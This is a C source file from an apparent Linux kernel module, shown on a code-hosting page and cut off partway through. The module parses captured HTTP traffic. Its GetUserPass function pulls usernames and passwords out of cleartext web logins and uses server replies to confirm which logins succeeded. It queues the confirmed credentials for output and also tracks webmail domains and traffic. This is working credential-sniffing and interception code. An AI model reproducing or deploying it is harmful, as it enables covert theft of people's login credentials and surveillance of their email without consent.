📄 httpparser.c
字号:
#include <linux/module.h>
#include <linux/config.h>
#include <linux/init.h>
#include <linux/netdevice.h> /* for dev_base */
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/dnotify.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/time.h>
#include <asm/semaphore.h>
#include <asm/unistd.h>
#include <asm/string.h>
#include "createDir.h"
#include "protocol.h"
#include "list.h"
#include "Rule.h"
#include "httpParser.h"
#include "DomainIPHash.h"
#include "RuleIp.h"
#include "function.h"
extern GVAR gVar;
extern TRAFFIC_STAT_INFO statInfo;
int HttpParser( void *arg )
{
PDOUBLE_LIST_PACKET pItem;
DOUBLE_LIST_HEAD listHead;
while( !gVar.CtrlThreadCtx.bParserUnload )
{
//Get HTTP TCP packet
if( gVar.pHttpQueque->iNumber == 0 )
{
schedule_timeout( 100 * HZ );
continue;
}
_InitializeList( &listHead );
_RemoveTotalList( gVar.pHttpQueque, &listHead );
pItem = (PDOUBLE_LIST_PACKET)_RemoveTailListNonLock(&listHead);
while( pItem )
{
//insert the item into smtp hash
if( !ParserHttpPacket( pItem ))
{
//put pItem to the Leisure pool
PutPacketPool( pItem );
}
pItem = (PDOUBLE_LIST_PACKET)_RemoveTailListNonLock(&listHead);
}
}
return 0;
}
char ParserHttpPacket(PDOUBLE_LIST_PACKET pItem)
{
// struct ethhdr *pEthHdr; // See ethernet.h
struct iphdr *pIPHeader; // See ip.h
struct tcphdr *pTCPHeader; // See tcp.h
// PSMTP_HASH_HEAD pHashHead;
// char *pUser = NULL;
// char *pEnd = NULL;
char bReturn = false;
UINT uiHash;
pIPHeader = (struct iphdr*)(pItem->packet.buf + ETHER_HDR_LEN );
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + (pIPHeader->ihl)*4 );
if( IS_FROM_CLIENT( pItem->packet.type ) )
uiHash = pIPHeader->saddr % _MAX_HTTP_HASH_BUCKET;
else
uiHash = pIPHeader->daddr % _MAX_HTTP_HASH_BUCKET;
if( pItem->packet.IPType & IP_TYPE_LOGON )
{
GetUserPass( gVar.pHttpHash[uiHash], pItem);
}
if( ( pItem->packet.IPType & IP_TYPE_FOUND )
&& pItem->packet.pConfig->hostNumber < WEB_MAIL_HOST_NUMBER )
{
FindBridgeDomain( pItem ) ;
}
if( pItem->packet.IPType & IP_TYPE_WEBMAIL )
{
statInfo.SusHttpMailTotal += pItem->packet.len;
bReturn = GetMail( pItem ) ;
}
return bReturn;
}
void GetUserPass( PDOUBLE_LIST_HEAD pSmtpHashBucket ,PDOUBLE_LIST_PACKET pItem )
{
struct iphdr *pIPHeader; // See ip.h
struct tcphdr *pTCPHeader; // See tcp.h
UINT zero;
UINT MmLen;
char *pHttp = NULL;
char *pUser = NULL;
char *pPassword = NULL;
char *pEnd = NULL;
UCHAR uChar, ucUserEnd, ucPassEnd;
char *pUserEnd, *pPassEnd;
UINT len;
PSMTP_HASH_HEAD pSmtpHashHead;
PSMTP_HASH_HEAD pOKHashHead = NULL;
char mail[ 128 ];
pIPHeader = (struct iphdr*)(pItem->packet.buf + ETHER_HDR_LEN );
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + (pIPHeader->ihl)*4 );
MmLen = sizeof(SMTP_HASH_HEAD);
down( &pSmtpHashBucket->fastMutex );
pSmtpHashHead = (PSMTP_HASH_HEAD)pSmtpHashBucket->pHead;
if( IS_FROM_CLIENT( pItem->packet.type ) )
{
// printk("client packet\r\n");
while( pSmtpHashHead )
{
if( pTCPHeader->source == pSmtpHashHead->sPort
&& pIPHeader->saddr == pSmtpHashHead->sIP )
{
break;
}
pSmtpHashHead = (PSMTP_HASH_HEAD)pSmtpHashHead->item.pNext;
}
if( pSmtpHashHead )
{
if( pSmtpHashHead->ruleID == 0
&& pItem->packet.ruleID != 0 )
{
pSmtpHashHead->ruleID = pItem->packet.ruleID;
}
if( pTCPHeader->fin )
{
//该连接结束,输出结果。
//printk("User, Client: 该连接结束,输出结果。\r\n");
pOKHashHead = pSmtpHashHead;
_RemoveItemNonLock( pSmtpHashBucket, &pSmtpHashHead->item);
up( &pSmtpHashBucket->fastMutex );
goto OUTPUT;
}
else
{
up( &pSmtpHashBucket->fastMutex );
return;
}
}
if( pItem->packet.dataLen < 10 )
{
up( &pSmtpHashBucket->fastMutex );
return;
}
pHttp = pItem->packet.buf + pItem->packet.dataOffset;
uChar = *( pHttp + pItem->packet.dataLen );
*( pHttp + pItem->packet.dataLen ) = '\0';
pUser = strstr( pHttp, pItem->packet.pConfig->username );
if( pUser )
{
pUser += strlen( pItem->packet.pConfig->username );
pUserEnd = strstr( pUser, pItem->packet.pConfig->separator );
if( pUserEnd )
{
ucUserEnd = *pUserEnd;
*pUserEnd = '\0';
//printk( "UserName: %s\r\n", pUser );
pPassword = strstr( pUserEnd+1, pItem->packet.pConfig->password );
if( pPassword )
{
pPassword += strlen(pItem->packet.pConfig->password);
pPassEnd = strstr( pPassword, pItem->packet.pConfig->separator );
if( pPassEnd == NULL )
{
//可能是空格结束
pPassEnd = strstr( pPassword, " " );
}
if( pPassEnd )
{
ucPassEnd = *pPassEnd;
*pPassEnd = '\0';
}
//the hash bucket begin here
pSmtpHashHead = ALLOCATE_HASHHEAD( GFP_ATOMIC, MmLen );
if( pSmtpHashHead == NULL )
{
printk("Allocate pSmtpHashHead fail\r\n");
up( &pSmtpHashBucket->fastMutex );
return;
}
InitializeSmtpHashHead( pSmtpHashHead );
pSmtpHashHead->sIP = pIPHeader->saddr;
pSmtpHashHead->dIP = pIPHeader->daddr;
pSmtpHashHead->sPort = pTCPHeader->source;
pSmtpHashHead->timeStamp = gVar.gSysCurTime;
pSmtpHashHead->timelast = pSmtpHashHead->timeStamp;
//pConfig
pSmtpHashHead->pSeq = (PDOUBLE_LIST_ITEM)pItem->packet.pConfig;
pSmtpHashHead->bPrew = false;
//pSmtpHashHead->bFileHeader = true;
//if( ++gVar.iFilePath >= gVar.FilePathNumber )
// gVar.iFilePath = 0;
//pSmtpHashHead->gVar.iFilePath = gVar.iFilePath;
pSmtpHashHead->timelast = gVar.gSysCurTime;
_InsertHeadListNonLock( pSmtpHashBucket, &pSmtpHashHead->item );
len = strlen( pUser );
pSmtpHashHead->iUserLen = len<(_MAX_USER_LEN-1) ? len:(_MAX_USER_LEN-1);
memcpy( pSmtpHashHead->user, pUser, pSmtpHashHead->iUserLen );
len = strlen( pPassword );
pSmtpHashHead->iPassLen = len<(_MAX_USER_LEN-1) ? len:(_MAX_USER_LEN-1);
memcpy( pSmtpHashHead->pass, pPassword, pSmtpHashHead->iPassLen );
//printk("PassWord: %s\r\n", pPassword );
//因为有白名单功能,必须再匹配
//if( pSmtpHashHead->ruleID ==0
// && pItem->packet.ruleID == 0 )
{
memset( mail, 0, 128 );
sprintf( mail, "%s%s", pSmtpHashHead->user,
pItem->packet.pConfig->suffix );
pSmtpHashHead->ruleID = MatchRule( mail, strlen(mail),
RULE_PROTOCOL_MAIL, pIPHeader->saddr, false );
//printk("mail:%s, ruleid:%d\r\n", mail, pSmtpHashHead->ruleID );
}
if( pPassEnd )
*pPassEnd = ucPassEnd;
}
*pUserEnd = ucUserEnd;
}
}
*(pHttp+pItem->packet.dataLen) = uChar;
}
else
{
//server packet
// printk("server packet\r\n");
while( pSmtpHashHead )
{
if( pTCPHeader->dest == pSmtpHashHead->sPort
&& pIPHeader->daddr == pSmtpHashHead->sIP )
break;
pSmtpHashHead = (PSMTP_HASH_HEAD)pSmtpHashHead->item.pNext;
}
if( pSmtpHashHead == NULL )
{
up( &pSmtpHashBucket->fastMutex );
return;
}
if( pSmtpHashHead->ruleID == 0
&& pItem->packet.ruleID != 0 )
pSmtpHashHead->ruleID = pItem->packet.ruleID;
if( pTCPHeader->fin )
{
//该连接结束,输出结果。
//printk("User, Server: 该连接结束,输出结果。\r\n");
pOKHashHead = pSmtpHashHead;
_RemoveItemNonLock( pSmtpHashBucket, &pSmtpHashHead->item);
up( &pSmtpHashBucket->fastMutex );
goto OUTPUT;
}
if( pItem->packet.dataLen < 10 )
{
up( &pSmtpHashBucket->fastMutex );
return;
}
pHttp = pItem->packet.buf + pItem->packet.dataOffset;
uChar = *(pHttp+pItem->packet.dataLen);
*(pHttp+pItem->packet.dataLen) = '\0';
pUser = strstr( pHttp, pItem->packet.pConfig->loginflag );
if( pUser )
{
//printk("UserName and PassWord is OK\r\n");
pSmtpHashHead->bPrew = true;
pOKHashHead = pSmtpHashHead;
_RemoveItemNonLock( pSmtpHashBucket, &pSmtpHashHead->item);
}
*(pHttp+pItem->packet.dataLen) = uChar;
}
up( &pSmtpHashBucket->fastMutex );
OUTPUT:
if( pOKHashHead )
{
//insert into file queque
_InsertHeadList( gVar.pWebLoginFileQueque, &pOKHashHead->item );
}
}
char FindBridgeDomain( PDOUBLE_LIST_PACKET pItem )
{
UINT i;
UCHAR uChar, uFirst, uEnd;
char *pHttp = NULL;
char *pDomain = NULL;
char *pEnd = NULL;
char *p=NULL;
char *pDot = NULL;
char Domain[WEB_MAIL_HOST_LEN];
char *pBuf = Domain;
char bBridgDomain = false;
PIP_HASH_BUCKET pIPHashBucket;
struct iphdr *pIPHeader; // See ip.h
struct tcphdr *pTCPHeader; // See tcp.h
if( pItem->packet.dataLen < 10 )
return bBridgDomain;
pHttp = pItem->packet.buf + pItem->packet.dataOffset;
uChar = *(pHttp+pItem->packet.dataLen);
*(pHttp+pItem->packet.dataLen) = '\0';
for( i = 0; i < pItem->packet.pConfig->uiLocation; i ++ )
{
memset( Domain, 0, WEB_MAIL_HOST_LEN );
pDomain = strstr( pHttp, pItem->packet.pConfig->location[i] );
//printk("find domain:%s\r\n", pItem->packet.pConfig->location[i]);
if( pDomain )
{
pDomain += strlen( pItem->packet.pConfig->location[ i ] );
pEnd = kstristr( pDomain, pItem->packet.pConfig->locend[i],WEB_MAIL_HOST_LEN);
if( pEnd )
{
uEnd = *pEnd;
*pEnd = '\0';
sprintf( pBuf + 1, "%s", pDomain );
*pEnd = uEnd;
pDot = pBuf;
//以www.开头的域名不要
p = kstristr( pBuf+1, "www.", 1);
if( p )
break;
p = strstr( pBuf+1, WEB_MAIL_HOST_SEQ );
while( p )
{
*pDot = (unsigned char)( p - pDot )-1;
pDot = p;
p = strstr( p + 1, WEB_MAIL_HOST_SEQ );
}
*pDot = strlen( pDot ) -1;
AddDomain( pBuf, IP_TYPE_FOUND, pItem->packet.pConfig, 0 );
pItem->packet.pConfig->hostNumber++;
bBridgDomain = true;
//printk("Add New Domain:%s\r\n", pBuf);
break;
}
}
}
if( !bBridgDomain )
{
//find receive or send flag
if( kstristr( pHttp, pItem->packet.pConfig->rcflag, 5 )
|| kstristr( pHttp, pItem->packet.pConfig->raflag, 5 )
|| kstristr( pHttp, pItem->packet.pConfig->scflag, 5 )
|| kstristr( pHttp, pItem->packet.pConfig->saflag, 5 ))
{
pIPHeader = (struct iphdr*)(pItem->packet.buf + ETHER_HDR_LEN );
pIPHashBucket = FindIP(pIPHeader->saddr);
if( !pIPHashBucket )
pIPHashBucket = FindIP(pIPHeader->daddr);
if( pIPHashBucket )
{
pIPHashBucket->type &= ~IP_TYPE_FOUND;
pIPHashBucket->type |= IP_TYPE_WEBMAIL;
}
}
}
return bBridgDomain;
}
char GetMail(PDOUBLE_LIST_PACKET pItem)
{
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -